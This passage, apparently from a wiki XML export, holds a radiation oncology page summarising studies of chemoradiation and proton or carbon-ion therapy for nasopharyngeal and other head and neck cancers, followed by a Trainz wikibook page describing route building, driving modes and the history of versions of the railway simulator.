*'''National Cancer Database (NCDB); 2017''' (2004-2013) {{PMID|28433411}} -- Rusthoven CG et al, &quot;Metastatic nasopharyngeal carcinoma: Patterns of care and survival for patients receiving chemotherapy with and without local radiotherapy&quot; Radiother Oncol. 2017 Apr 19
**718 patients with M1 disease at diagnosis, 39% received chemotherapy alone, 61% receiced chemotherapy and radiation to the primary tumor
**OS improved with local radiation: median OS 21.4 vs 15.5 months; 5-year OS 28% vs 10%, p&lt;0.001
**OS benefits remain on multivariate and propensity score-matched analyses, and models accounting for single vs multi-organ metastases and anatomic sites of metastatic involvement
**RT dose was an independent prognostic factor as both a continuous and categorical variable, with OS benefits observed among patients receiving ≥50 Gy
**Long-term survival of &gt;10 years was only observed in the RT cohort
**Conclusion: &quot;This analysis supports strategies incorporating local RT with chemotherapy for mNPC. Prospective trials evaluating RT integration for mNPC are warranted.&quot;

*'''Memorial Sloan Kettering; 2012''' (1999-2008) {{PMID|22488786}} -- Setton J et al, &quot;Definitive treatment of metastatic nasopharyngeal carcinoma: Report of 5 cases with review of literature&quot; Head Neck. 2012 May;34(5):753-7
**Case series of 5 patients with metastatic nasopharyngeal carcinoma at diagnosis
**All patients received platinum-based chemotherapy + 70 Gy of radiation
**At last follow up, 2 had no evidence of diease (at 29 and 91 months). The remaining 3 patients had progression of disease within 12 months of treatment.
**Conclusion: &quot;Long-term disease-free survival is possible in a select group of patients with M1 disease at presentation treated with platinum-based chemotherapy and definitive radiotherapy.&quot;

==Proton Therapy==
*'''Orsay; 2002''' {{PMID|12504770}} -- &quot;[Comparison with dose-volume histograms of two conformal irradiation techniques used for the treatment of T4N0M0 nasopharyngeal cancer, one with association of photons and protons and another with photons alone] - [Article in French]&quot; (Noel G, Cancer Radiother. 2002 Dec;6(6):337-48.)
**Treatment planning. 5 patients with T4N0 NPC, treated with concurrent chemo-RT using combined photon/proton beams. Photons to 44 or 54 Gy using 3D-CRT, proton boost 16 or 26 Gy in 1.8-2.0 Gy/fx
**Outcome: Conformality ratio for photon/proton plan 3.1 vs. photons only 5.7 for CTV1, no difference for CTV2. Normal tissues favored photon/proton plan
**Conclusion: Combined photons/protons improve conformality over photons alone

*'''Loma Linda; 1999''' (1991-1997) {{PMID|10551231}} -- &quot;Nasopharyngeal carcinoma: repeat treatment with conformal proton therapy--dose-volume histogram analysis.&quot; (Lin R, Radiology. 1999 Nov;213(2):489-94.)
**Retrospective. 16 patients with NPC. Initial treatment 50-88 Gy (1 postop RT 50 Gy, 16 primary 65-88 Gy). Retreatment mean dose 62.8 Gy (59.4-70.2 GGE). Mean F/U 2 years
**Outcome: 2-year LRFS 50%, OS 50%. By DVH coverage &quot;optimal&quot; 83% vs &quot;suboptimal&quot; 17% (SS)
**Toxicity: No CNS side effects
**Conclusion: Adequate tumor coverage important for LRC and survival

*'''Lawrence Berkely Laboratory; 1992''' {{PMID|1618678}} -- &quot;Recurrent locally advanced nasopharyngeal carcinoma treated with heavy charged particle irradiation.&quot; (Feehan PE, Int J Radiat Oncol Biol Phys. 1992;23(4):881-4.)
**Retrospective. 11 patients. Recurrent NPC, with base of skull invasion, CN deficit 64%. Heavy charged particles. Initial treatment median 70.2 Gy (61-81 Gy). Median time to recurrence 1.5 years. Median retreatment dose 50 GyE (32-62) 
**Outcome: LC 45%. 5-year OS 31%
**Conclusion: Results appear superior to others using conventional photon therapy

*'''Harvard; 1989''' {{PMID|2542199}} -- &quot;Proton therapy for carcinoma of the nasopharynx: a study in comparative treatment planning.&quot; (Brown AP, Int J Radiat Oncol Biol Phys. 1989 Jun;16(6):1607-14.)
**Treatment planning. Proton vs photon comparison
**Outcome: Proton superior dose-distribution, increase 5 Gy in median tumor dose, substantial reduction in normal tissue dose
**Conclusion: Superior dose distribution of protons should translate into improved control and reduced morbidity</text>
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&lt;big&gt;'''Proton Therapy in Head &amp; Neck Cancers'''&lt;/big&gt;


==General==
*'''Tsukuba; 2004''' (1983-2000) {{PMID|14762662}} -- &quot;Proton therapy for head and neck malignancies at Tsukuba.&quot; (Tokuuye K, Strahlenther Onkol. 2004 Feb;180(2):96-101.)
**Retrospective. 33 patients with H&amp;N malignancies, no surgery. Oral papillomatosis 12%, T1-2N0 21%, 67% locally advanced. Treated with protons +/- photons (depending on beam availability). Median dose 76 Gy, median proton dose 2.8 Gy/fraction.
**Outcome: 5-year LC 74%, 5-year OS 44%
**Toxicity: Grade 3+ acute 3%, late 18%
**Conclusion: High local control, with few toxicities compared with conventional RT. However, late toxicity if prior significant RT


==Specific Sites==
*[[Radiation_Oncology/Head_%26_Neck/Nasopharynx/Advanced_Stage#Proton_Therapy|Nasopharynx]]
*[[Radiation_Oncology/Head_%26_Neck/Sinonasal/Overview#Proton_Therapy|Sinonasal tumors]]
*[[Radiation_Oncology/Head_%26_Neck/Salivary_gland#Adenoid_Cystic_Carcinoma|Adenoid cystic]] 
*[[Radiation_Oncology/Head_%26_Neck/Oropharynx#Proton_Therapy|Oropharynx]]


==Treatment Planning==
*'''Paul Scherrer Institute''' 
**'''2006''' {{PMID|16916557}} -- &quot;Intensity modulated photon and proton therapy for the treatment of head and neck tumors.&quot; (Steneker M, Radiother Oncol. 2006 Aug;80(2):263-7. Epub 2006 Aug 17.)
***Treatment planning. 5 patients, comparison of IMPT (3, 5, 9 fields and 2 spot sizes) and IMRT (5, 9 fields)
***Outcome: Critical organs best spared using 3-field IMPT. Little advantage to more fields, but advantage to smaller spot size. 
***Conclusion: IMPT better ability to spare organs at risk than IMRT for the same dose homogeneity
**'''2001''' {{PMID|11730999}} -- &quot;A treatment planning comparison of 3D conformal therapy, intensity modulated photon therapy and proton therapy for treatment of advanced head and neck tumours.&quot; (Cozzi L, Radiother Oncol. 2001 Dec;61(3):287-97.)
***Treatment planning. 5 patients, comparison of conventional photon/electron plan, 3D-CRT, IMRT, and proton therapy. PTV 54 Gy.
***Outcome: PTV coverage for all techniques but conventional photon/electron plan; protons improved dose homogeneity. For spinal cord and parotid, proton best sparing; IMRT plans superior to 3D-CRT and conventional plans, but inferior to proton plans.
***Conclusion: IMRT and protons have potential to reduce toxicity over conventional RT


==Review==
*'''MAASTRO; 2010''' {{PMID|20817407}} -- &quot;Systematic review and meta-analysis of radiotherapy in various head and neck cancers: Comparing photons, carbon-ions and protons.&quot; (Ramaekers BL, Cancer Treat Rev. 2010 Sep 1. [Epub ahead of print])
**Systematic review. 86 observational studies (74 photon, 5 carbon, 7 proton), 8 comparative in-silico studies
**Outcome: 5-year OS higher after carbon ion for mucusal{{typo help inline|reason=similar to mucosal|date=September 2022}} melanoma compared to photons (44% vs 25%, SS). 5-year LC higher for carbon compared with IMRT for paranasal/sinonasal tumors (88% vs 66%, SS). No other significant comparisons
**Conclusion: Overall quality and quantity of data regarding carbon and proton therapy is poor

*'''Harvard; 2008''' {{PMID|18493920}} -- &quot;Proton radiation therapy for head and neck cancer.&quot; (Chan AW, J Surg Oncol. 2008 Jun 15;97(8):697-700.)

*'''Review; 2006''' {{PMID|16804876}} -- &quot;Particle beam radiotherapy for head and neck tumors: radiobiological basis and clinical experience.&quot; (Jereczek-Fossa, Head Neck. 2006 Aug;28(8):750-60.)

==Charged Particles==
*'''Chiba''' 
**'''2008''' {{PMID|18769999}} -- &quot;Comparative study of dose distribution between carbon ion radiotherapy and photon radiotherapy for head and neck tumor.&quot; (Amirul Islam, Radiat Med. 2008 Aug;26(7):415-21. Epub 2008 Sep 4.)
***Treatment planning. 7 patients originally treated with carbon ion (sinonasal tumors). Carbon ion (CIRT) vs. 3D-CRT vs. IMRT.
***Outcome: Mean conformity index 3D-CRT 1.46, IMRT 1.43, CIRT 1.22. Photon plans greater volumes of normal tissue at 10-95% isodose
***Conclusion: Carbon ion has potential to improve target dose conformity, inhomogeneity and OAR sparing
**'''2004''' (1994-1997) {{PMID|15380567}} -- &quot;Dose escalation study of carbon ion radiotherapy for locally advanced head-and-neck cancer.&quot; (Mizoe JE, Int J Radiat Oncol Biol Phys. 2004 Oct 1;60(2):358-64.)
***Phase I/II. 36 patients, locally advanced H&amp;N. Group A: 18 fractions (48.6/18 GyE to 70.2/18 GyE). Group B: 16 fractions (52.8/16 to 64/16). Endpoint erythema and mucositis. Median F/U 7.5 years
***Outcome: MTD 70.2/18 (1/2 patients Grade 3 acute toxicity) and 64/16 (2/3 patients Grade 3 acute toxicity). 5-year LC 75%, better with non-squamous tumors including adenoid cystic and melanoma
***Conclusoin: Carbon ion will deliver high local control without unacceptable toxicity

*'''Lawrence Berkeley Laboratory''' 
**'''1994''' (1977-1992) {{PMID|8040010}} -- &quot;Experience in charged particle irradiation of tumors of the skull base: 1977-1992.&quot; (Castro JR, Int J Radiat Oncol Biol Phys. 1994 Jul 1;29(4):647-55.)
***Retrospective. 233 patients treated with charged particles. Tumors arising/extending to skull base. Arising: Chordoma 24%, chondrosarcoma 12%, meningioma 12%, other 9%; Extending: salivary glands 20%, nasopharynx 14%, paranasal sinuses 10%. Mean dose 65 GyE. Median F/U 4.2 years
***Outcome: 5-year LC meningioma 85%, chondrosarcoma 78%, chordoma 63%
***Conclusion: Charged particle therapy effective in controlling skull base lesions
**'''1988''' {{PMID|3350726}} -- &quot;Charged particle radiotherapy of selected tumors in the head and neck.&quot; (Castro JR, Int J Radiat Oncol Biol Phys. 1988 Apr;14(4):711-20.)
***Retrospective. 98 patients, H&amp;N. Mean F/U 3 years
***Outcome: 2-year LC non-squamous 60%, squamous 35%</text>
      <sha1>nqhubyq3ejum6zkmh9i5wmsy1r4c6dv</sha1>
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  <page>
    <title>Trainz/Things You Can Do In Trainz</title>
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    <revision>
      <id>4670469</id>
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      <timestamp>2026-09-16T16:44:22Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
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      <comment>formated &gt; formatted</comment>
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      <text bytes="33446" sha1="tfbh3fnd1z0jcgn5c8jl9imrl6gsplg" xml:space="preserve">==Trainz Overview==
{{TOCright}}
[[image:Afton and valley NE of there-expansion-state=2010-0609-2_(tower).jpg|thumb|right|442px|[[w:Trainz#User_interfaces|High altitude Map view]]'' [[w:Trainz#Driver|Driver mode map image]]'' of a [[Trainz]] users route undergoing a major expansion North and East from the more developed and debugged route at the left and the lower left corner. &lt;br/&gt;{{bull}}Gray region from the Northeast corner are recently added 'Trainz boards' (720m x 720 m) with some odd looking track segments seen on the picture's right side. These and other disconnected tracks were used to help set gradients in the slopes of the terrain, where 'E07743' are hand labeled altitude references (Elevation 0774.3 metres) in this '''mountainous fantasy model railroad'''. &lt;br/&gt;{{bull}}Light blue 'human names' are [[w:Trainz#AI_Drivers|Trainz AI Drivers]] operating trains to a scripted command sequence. &lt;br/&gt;{{bull}}The modeler has established the altitude, gradients and colorized a small river and it's banks before adding higher terrain detailing and shaping. &lt;br/&gt;{{bull}}Various rectangular swatches show where the modeler copied base coloration and scrub forest areas from elsewhere on the model preparatory to finer detailing. &lt;br/&gt;{{bull}}Various place labels are on the map with the temporary terrain shaping labeling, including a train station and a 'spray painted' name of a planned town called Afton. &lt;br&gt;The region shown 5w x ~4h Trainz-boards (720m x 720m) represents 3600 x ~2880 meters, 1036.8 [[w:hectare|hectare]]s, 10.368 sq-km, 4.003 sq-mi, and 2562 [[w:Acre|Acre]]s of mountainous terrain.]]&lt;!--

--&gt;

A full '''Trainz release''' is an advanced 'industrial strength' railroading simulator with world modeling abilities, not just a [[w:PC game|computer game]]. It is designed to allow [[w:Rail transport modelling|model railroading]] in'' '[[w:V scale (model railroading)|V-scale]]', or Virtual-scale'', meaning creates and allows a user to interact with a ''[[w:virtual reality|virtual reality]]'', which is the computing technical term for creating and playing around in an alternative reality of your own or another's making. It was one of the first commercially released software packages that did so, and unlike the big budget [[w:Microsoft Train Simulator|Microsoft Train Simulator]] (MSTS), released the same year&amp;mdash;and quite a few others&amp;mdash;it is both relatively easy to model in, and still going strong as a series.  
 
It is extensible in all versions and Trainz releases make up a family of backwards compatible products with new releases and upgrades steadily growing in capability and power. The software system gives you everything you need to build a [[w:Virtual reality|Virtual]] [[w:Scale model|Model]] [[w:Railroad|Railroad]] far larger and far less expensively than the dedicated hobbyist who has slaved away devotedly to build an expensive Basement Railroad Empire. In Trainz you can unleash your own creative streak to make a prototype model railroad&amp;mdash;model a real railroad down to amazing degrees of accuracy, including if you like, automated topography from the [[w:United States Geological Survey|United States Geological Survey]] (USGS) agency or other government's agencies (Trainz is world wide, Trainzers come from everywhere) that host satellite measured height above ground (HOG) data that can be rendered into a Digital Enhanced Map (DEM data). Alternatively, you can unleash the wild beast creative in yourself and create a '''Fantasy or Fictional Railroad''' in any setting and type of terrain that you dream up and can justify to yourself. Many Trainzer operating in that mode create a Fictional History to provide a backstory for their creation.

==Not just a Drive a Train game==
Given that background, consider that most dedicated'' 'Trainzers' ''do not typically operate or drive Trainz in their ordinary everyday time spent in Trainz! Trainzers all drive now and then, and enjoy the heck out of that game aspect, but that is not the magic of the software to Trainzers most days 'playing' in Trainz. Most Trainzers, like the user group {{plain link|http://forums.auran.com/trainz/showthread.php?100965-Yesterdayz-Trainz-Group|Yesterdayz Trainz}} who among others, maintain this Wikibook, spend more Trainz time building stuff&amp;mdash;and get a lot of payback from anticipating how their time will show up as a 3D Virtual World (Route building) or in creating other 'assets' that are static or dynamic 3D models that will come to life and populate such routes or layouts. A lone creator doesn't get much satisfaction from a monopoly on an asset she built, so we generally share these goodies with others in the world wide Trainz Community by uploading them to the massive data base in the cloud at Auran.com known as the Download Station. Other community members can then share the joy of that new asset, and this is the true strength of any Trainz version&amp;mdash;technology permitting, you can always access and add more [[W:freeware|free content]].

==Satisfactions==
There is a lot of satisfaction to create something at all, much less something admired and complimented by others, so there are Trainzers who do little else but create 'professional grade' assets, and many a tyro with ambitions of acquiring such high-level skills who learn the Trainz ropes step-by-step and build up to that level, gaining satisfaction at every little victory. There are many more {{plain link|http://forums.auran.com|willing to help}} in acquiring that knowledge and that's what this Wikibook is all about. Members of the Trainz community have come together to share their knowledge and make a reference you can tap into any time you need to advance your knowledge of Trainz. 

That means if you get joy from creation, that you never &quot;reach the end&quot; and there are always more things to do, and even more to learn, for not only does the Trainz technology continue to change and improve, but you'll find there is always something more you can do on  your own projects. Other users, skilled in the arcana of script computer languages continue to create those generalized assets which extend the flexible game capabilities even farther that the N3V programmers sometimes envision. Features can be requested, and when honored in a Service Pack or new Trainz Retail release, can then be exploited by such scripts or new graphical features. Since there is a world wide user community, and there is a free website many add content and new routes up to, you can expand and select from a lot of non-Payware&amp;mdash;over 267,000 assets were available for the four year old technology in TRS2009-SP1 in May 2013!
 
Another strength of Trainz is a 3D asset can be imported from one (older) version to another; some times with only a little bother, mostly just by downloading it or cross loading it from an older Trainz release into a newer one. Many underlying parts of the technology haven't changed, so are ''very stable'' requiring no adjustments since Trainz 1.0! Hence many Trainzers, especially content creators operate more than one version of Trainz, for there is a unique asset technology level code that is part of the asset and ''the lower that {{plain link|http://online.ts2009.com/mediaWiki/index.php5/%22Trainz-build%22_tag|&quot;Trainz-build&quot; code}}'', the more Trainzers with older versions can use it. Understand, many assets do not or cannot exploit new technology features, so creating them a a higher-than-necessary tech level makes them less useful to the community of Trainzers.

==Trainz containers== 
:''Main: {{TR|C|p=containers}}''
Your biggest container is your simulator's [[Trainz/Content Manager|Content Manager]] data base. Your routes and sessions and any other assets you download, create or import are organized and saved therein. The next container is a route or layout, which accesses that data base and in the GUI software modules launched from the Trainz Main Menu's [[/Surveyor|Surveyor]], [[/Railyard|Railyard]], and [[/Driver|Driver]] bring the assets into a 3D virtual reality.
 
The simplest of these is Railyard, where only rolling-stock-classed assets can be viewed as if walking around nearby, climbing on top of, or examined by browsing through the alphabetical menu, which allows as well a view of the assets description, some of which contain histories, specifications, and even which rail road companies used the [[w:transport vehicle|transport vehicle]].
{{TRS-sectstub|fix=Needs a para on each major GUI and what they do.
}}
{{TrainzTip 
|When an 'asset' is placed in a container, it then becomes 'content'. On the web boards and in casual talk, the two terms are oft used interchangeably, albeit sometimes a bit less or more incorrectly. The biggest container is one's database (and the {{TL|Content Manager}} utility data base manager) followed then in size by a {{TL|Route}} (layout) and a {{TL|Session|Driver Session}}; each of which share the attributes of combining many different {{TR|K|p=kinds}} of train assets in a system. Many separate {{TL|Kinds|KINDs}} of train asset also may group different sub-assets, including sub-assets by reference to a {{TL|KUIDs|KUID (unique ID number)}}. 
}}

==Different strokes==
There was a '60s expression which fits Trainz well... ''&quot;Different strokes for different folks!&quot;'' Like in physical scale model railroading, different owners are interested in different aspects of railroading&amp;mdash; some like creating realistic scenery, others modeling an actual real world railway (a prototype railroad), others the experience of driving, some designing the 'game play' aspect of Trainz, sessions for others to Drive and experience on a particular map or layout. Many like a bit of each in their turn.
 
In Trainz if you don't like a layout, a few mouse clicks puts you back in the menu to select a different one. If you don't like one from the version's base content, there are over 3,500 routes listed on the Download station. You don't have to face tearing down man-years worth of painstaking effort of that model railroad which has been king of the basement all these many years, nor do you have to spend years building it's virtual equivalent: Many Trainz routes began modeled on model railway layouts, and today many model railroad clubs Trainz in ''''V-scale'''' as much as meet at the club house where they pay dues, etc.

==Scale Model Railroading==
The difference between V-scale and other 'standard' model railroading scales is vast. Perhaps the most popular is the H.O. scale train sets sold so often during the Christmas holiday season. Model Railroaders look with some disdain at the technology level of the undercarriages, meaning couplers, wheels (plastic) and trucks; so would immediately replace with steel wheels, better trucks and much better couplers. Such an upgrade can cost up to $5.00 a car. In Trainz, it takes a few minutes editing a configuration file &quot;config.txt&quot;, which is an [[w:INI file|initialization file]] common to all Trainz assets, and an whole consist of thirty coal hopper cars would be updated forevermore for five minutes of editing using a common [[w:text editor|text editor]]. If you want to run 90' to 120' passenger coaches, the ''least 'radius of curvature' ''you can put on a layout and not expect frequent derailments operating 'at speed' on a H.O. layout is 23-24 inches. To make a full 180° turn the inner track uses a full width of a 4'x 8' plywood panel. that means a H.O. model railroad takes a lot of space.
 
A Trainz route needs a reasonably good computer and can display and run a route that is well into the hundreds of miles. Many of these routes now are created using [[w:Digital elevation model|Digital elevation model (DEM)]] technologies, accurately positioning real railroad trackage in V-scale.

==What you skip with Trainz==
Furthermore, a major feature of Trainz is that it replaces all the messes, wiring, sweat, tears, track laying and hammered fingers, torn/ruined clothing, physical insults to oneself such as nicks, cuts and scraped fingers&amp;mdash;not to mention the several thousands of dollars&amp;mdash; necessary to build a modest model railroad of your dreams in all too little space (most HO railroad projects need a large room to affect a small railroad)&amp;mdash;Trainz programs give one all that without messy paints, [[w:plaster of Paris|plaster of Paris]] over a wood and chicken wire frame in a virtual space that can extends tens of miles in a given Route (railroad), and you don't have to give up the spare room, crowd up the basement, nor squeeze into the attic to create ''just a shortline'' model for a few miles of track in a repetitive quasi-circular motif.

==The world is filled with learning curves==
Like a new comer in the model railroading world, there are learning curves to surmount, not the least for example, the fact the simulator really models the physics of an actual train, it's responses and load effects in what is called CAB (in the Cab) mode. Or there is the option of DCC, which is much like the model railroad electrical controls, dial and all, with hot keys for switching and similar 'arcade game' play options. Learners start there, then learn to tame the CAB mode. Both are fun, and have their uses.

==A bit on the legacy==
The current release of Trainz is Trainz 2012 ({{TL|TS2012}}) which still only requires 32 bit computer architecture but does need more advanced video cards. Trains 2004/2006 run fine on even laptops of their era and look quite stunning on newer more modern high definition monitor technologies. {{N3V|Trainz 1.3Trainz 1.x}} was released in 2001, and looks, feels and operates in Driver much like it's successors, only with less capable graphics, far less available {{TG|built-in}} content. {{TL|TRS2004}} was a major step forward introducing {{TL|Sessions}}, interactive industries, and utilities for uploading and downloading content to the {{TL|Download Station}}; initially full of bugs after the release of four service packs the version gradually took on iconic status, became a 'best seller' and many Trainzer both still run it and saw no reason to upgrade beyond it.
 
In 2005 Auran begat {{TL|TRS2006}} with much the same graphics engine and a huge base data cabinet of ready to use assets, but the release improved upon Trainz 2004's gameplay very little but advanced instead by fixing data management issues by introducing the {{TL|Content Manager Plus}}. Auran then sat on their laurels involving itself instead in developing a massive MMORPG, {{wp|Fury (computer game)|Fury}} which bombed. Thereafter, each Trainz release was one of the many code stable Trainz 2006 variants (and there were a lot), exploiting regional pride with partnerships providing custom content opening up many new non_English-speaking markets and the capstone of that flurry of series {{TL|Trainz Classics}} were iteratively better looking, smoother operating and used better technologies.
 
The TRS's graphics engine and technology found it's way into a flurry of other non-railroad modeling and several major road companies (i.e. Real Railroad Operating companies) were interested in adapting the simulator for training staff; ultimately a mis-guided bad fit for the software, and one which slowed new releases, and in the end effectively killed Auran which had used the cash stream from the steadily growing Trainz franchise to invest heavily on this speculative direction, Fury, and several other products which didn't return anything but business liabilities. Auran was legally reorganized when is sought bankruptcy protection from creditors and sought other investors.

After a while Auran became N3V Games and returning to it's strength eventually produced the {{TL|TRS2009|Trainz 2009}}, the World Builder Edition and the name is eponymous, the improvements in TRS2009 greatly improved route building ease, content selection and save lots of a user's time when operating {{TL|Surveyor}}. {{TL|Trainz Classics|TC 1,2, and TC3}} and TS2009, look a bit different, somewhat spiffier with a new skin and semi-transparent drop down menus versus that look-see-and aspect of the preceding main releases, but the operating feel is the same, and the tools have only gotten better version to version. If you don't yet own a Trainz or unsure of your hardware's capabilities, TS2009 is available still for download at Auran.com and various web site vendors like Amazon.com. It runs fine on a 2003 era 2Ghz Pentium 4 and updated video card, as well as a 7 year old business laptop (both have 2 Gbytes RAM memory); and neither were ever 'gamer' machines.
 
TS2010 and TS2012 have more taxing graphical and computer performance requirements, but may run still run fine on younger generation laptops. One stable staple of the company philosophy is keeping the graphical engine a few years behind leading edge technology, allowing today's Trainz release to run on yesterdays advanced graphics, which of course gradually permeate into a staple computer ability. This means a new Trainz version runs on just about anything from several years ago, creating a broad base of platforms serving the needs of it's million plus registered Trainz users. (Many of those have multiple versions, or the whole collection. Visit [http://forums.Auran.com the website] and see some posts; the users have 'Stations' shown in a track diagram indication registered versions. Want a question answered, ask a Trainz veteran.)

==Where versions converge and diverge==
Beginning with the Trainz 2004 (TRS2004) release and the much improved database facilities of the TRS2006 releases, there are three main operating modes or modules and several auxiliaries accessed via a common Launcher program: A database manager (formerly and initially long called '''CMP''' or '''Content Manager Plus''' which debuted as TRS2006's most significant improvement to users with respect to time, and which also incorporated the formerly separate uploading and downloading content run time programs&amp;mdash;separate .EXE files launched independently&amp;mdash;to upload and download from the '''DLS''' or '''Download Station''' server and website. TRS2006.exe is a typical launcher program, or front-end menu. Except for a few set up options adjustments and linking various parts of Trainz and the web site, it is small and does just that, connect things to make them simple. It or the equally eponymous TRS2004, TRS2009,..., TRS2012 are usually also the install folder name, so serve as a shorthand identifying the base release.
 
'''CMP''' was a big step forward, for it included the ability to set certain selection criteria (region+building+era or industry+build+maker, and many other combinations) called filters, and look at them both in installed content but also in what was available on the DLS for the same criteria &amp;mdash;CMP has lost it's plus, and is now just called ''''CM'''' in newer releases; the ''CM'' or database manager will automatically list and download content from the Auran database, inform you that an upgrade exists, and download your shopping cart of free goodies when you ask it... allowing even more extensibility of your created worlds). 
 
''The DLS and free user created (shared freeware under version control) content is one of the nicest features of Trainz, and by shopping the website or by DLS filters it is where you can access parts (assets) and download new (free or for pay) content/extensions/assets, the world building/editing [[w:GUI|Gui environment]] tool called '''Surveyor''', and the '''Driver''' module where one enters play mode and interacts with the virtual worlds created in Surveyor. Surveyor can also use that same set of filters, allowing you to narrow down and exclude (Indian+Japanese+Austrailian+USA+German railway assets on a Irish Railway. Or selectively include as you like. Trainz is all about home cooking to suit yourself.''
 
There are also two auxiliary GUI database modes called '''Railyard''' and '''Paintshed'''; the first allows one to browse rolling stock; the second to modify paint schemes and adapt it to a local color scheme (Livery in Railroad speak). CM/CMP has thumbnail images so the full screen Railyard is useful for choosing period or line specific assets for a '''Driver Session'''; the asset which merges the Session's asset (scenario) tasks, ''rolling stock'', Interactive Industries and you into a virtual railroad on a particular '''Route''' you or someone else created or modified in Surveyor. 'Tasking' is what the Model Railroad clubs do with one another worldwide&amp;mdash;usually in timed contests, puzzle tests to use the least number of switching operations or junction changes or with co-operative sharing of rolling stock across parts of a layout (switching consists or engineers at the border, so to speak). Operation of such a physical model railroad and Auran's Driver Module are the real world and virtual world equivalents. 
 
==List of Trainz activities==
Here is a list of things one can do in Trainz, but it is inevitably incomplete.

;Learn how to drive a train
: There are two driving modes, DCC ([[w:Digital Command Control|Digital Command Control]] which is simpler based on model railroad electrical systems and CAB mode (Cabin mode) which is considerably more challenging and realistic, placing you in charge of modeled real world train cab controls.
 
: In each, one's Viewpoint can be outside the train (External mode) which can be focused and located as if attached on any of the trains cars (usually 'begins' on the Locomotive driven, but can center on any car in the consist), from an exterior fixed camera position one adds in Surveyor (Tracking camera/mode), inside the train CAB (giving the mode its name 'Cab mode' but also sometimes selectable inside some passenger vehicles), or Free Roaming, which allows one to use the mouse to fly down the virtual world ahead or behind the train and see signals, switches (turn outs, junctions, switches or points are all equivalent in railroad-speak) and generally see anything in the virtual world of your route. Each viewing mode but the fixed tracking camera allows the user to pan and change angles, rotate in all three dimensions and look around. They also zoom in or out using the mouse wheel and or cursor arrow keys on the keyboard. Both driving modes also have a set of operator hot keys allowing one to not use the mouse pointer drag method if desired.
 
:* DCC emulates the forgiving and speedier reaction physics of driving a model railroad, in many respects but a big consist still takes a while to slow or speed up. The mouse tip turns a dial and your engine responds quite a bit quicker than a train would in a real world. Alternatively, one can use hotkeys centered about the classic gaming control practice centered about the S key to control the loco. In practice, one uses both. The mass of the train is not neglected, and you still can't start on a dime, but speed changes and stops occur far faster and so driving a task is much easier (and/or safer).

:* CAB mode puts you in the virtual cab where you control the train using analogs of real modeled controls used by real world engineers. The mouse cursor point moves levers, turns valves to replenish boiler water, pushes buttons, tugs the horn cable and so forth, then the control takes effect. In short, like driving a real world vehicle, there are delays, sometimes appreciable delays that compound in the modeling of long trains with long '''consists''' of rail-cars depending upon air brakes and pressure changes through a lengthy system of hoses and pipes to effectuate actual braking, or brake releases. A 3500 ton train has a lot of momentum and takes some thinking ahead to drive safely. This can be fun and challenging, particularly when one needs to complete a picky task without running off the end of a siding when parking that particular car at an industry loading dock with little room to spare! Many coupling and decoupling sessions will also take off points for overenthusiastic coupling speeds. Coupling too fast will also virtually break consist couplers, leaving you to replay the mission (and hopefully learn from your mistake).

;Give trains commands 
: These are scripts hidden as debugged graphical icons which you can set up in a list (queue) in Surveyor so [[w:Artificial intelligence|AI Drivers]] (Artificial intelligence assistants) will follow and obey automatically. Conversely, in Driver, they can be dragged and dropped on the fly into a similar command queue, which allows you to dynamically change the instruction set for that particular AI Driver. 

: These include visiting industries and loading or unloading at them, stopping at train stations, following schedules, and so forth. These can be event triggered creating traffic you have to work around, or just add flavor while they go past where you are working. The system also contains portals, which are off the layout but provide simulated far off destinations and train sources that traverse your layout under similar programming one sets up in a session using surveyor for the particular train and its AI Driver. Time controls then generate the new train and Driver on your route which enters from the portal. Commands even span entering one portal (leaving your route) and returning from the same asset or from another portal. These can also be set up to empty a loaded train or load an empty train then return it. 
 
: More dynamically, iPortals allow co-operative train sharing between on-line players connected by Trainz chat similar to the way a Model Railroading Club set up in a hobby show  will turn control over to another operator on the next part of the interconnected model railroad tables (Track alignment and spacing in such groups is possible because the clubs have developed a standard.) Iportals are far more flexible, requiring no alignments and can be in the middle of a much larger layout. 

;Explore the built-in Routes (layouts) which come with the program
:These are changeable and extensible and yet will remain unchanged! Auran's Trainz disallows overwriting alterations of the canned content, but will happily clone such assets and allow you to create and fiddle from that copy at will. Most have associated Driver Session assets that will allow you to play before you put on your virtual carpenters apron. But jump right in. You can't hurt anything, but if you change it and overwrite a copy, there's no backup. You have to make that yourself by changing the name when saving. When launching, the simulator automatically indexes you to the last thing you accessed.

: This is the easiest way to gain some fun experience with the many tools in the Surveyor GUI, go ahead and change a fields' appearance, 'paint' a different texture on that cliff, lay some new track, extend the world off the edge by adding a new '''baseboard''' (720x720 meters), add that industry or tree or grove, program that train station or add another five or ten trains or consists (groups of cars, assemblies). Once you change it, it's your own private world until you choose to share it.
 
: Similarly, learning the art of creating bug proof Drivers command queues using the graphical script writing command system by modifying one of the tutorials in Surveyor is the best way to begin to learn and employ the extensive Driver Command system. (As I write this there are 14 AI Drivers systematically running as many locomotives to and from interactive industries on a watershed following route through mountainous terrain that is 25×16 baseboards (map squares) or 18.0×11.52 kilometers, that began exactly that way&amp;mdash;as an adaptation of the Highland Valley Industries scenario used for the fifth tutorial, and which was bundled with all releases from the first through TRS2006. It uses only stock assets from TRS2004 and TRS2006, and is now in its fourth year, so you need not investigate on-line extensions at all to spend many a fun hour recreating and creating on Trainz.)

;Run the built-in Driver sessions and/or scenarios
: These include tutorials and challenges of various types. Many of these are based on Model Railroading Club practices, many of which have self-organized as prolific Trainz contributors providing much of the overwhelming wealth of free or for-pay content available to download. Need a new building type? Odds are there are ten or twelve out there modeled on real world structures put together by guys and gals experienced with model building in physical model railroads who have spread their enthusiasms and talents throughout the world community. Go ahead, boldly change that tutorial to run in a blinding rainstorm, steady snow, or at night. Surveyor gives you control of the world (virtually) to do as you will. 
:::{{cquote|Tip: One of the great features of TRS2006 is that you can save many different operations session setups with a given route. E.g. an early morning passenger run or a midnight freight haul.|TRS2006 manual}}

;Create a layout
: The Surveyor module of Trainz makes the inevitably complicated process of making a layout as easy as possible. However, while a small simple layout can be made by anyone, creating a worthwhile layout will take a very considerable amount of time, effort and skill. Starting with a stock kernel is easier, so add another baseboard square or three dozen, use the editing tools to copy terrains or towns and build some skills using the editor as you learn the art of terrain shaping and the tougher art of painting. 

;Download additional items of all kinds
: Additional items are available on Auran's (the program's publisher) web site or a large number of Trainz fan-sites. Much of this material is freeware but some is payware, requiring a payment per item or a subscription for a period of time. The quality of these additional items varies enormously but some are of the highest standard.

;Learn how to obtain assets
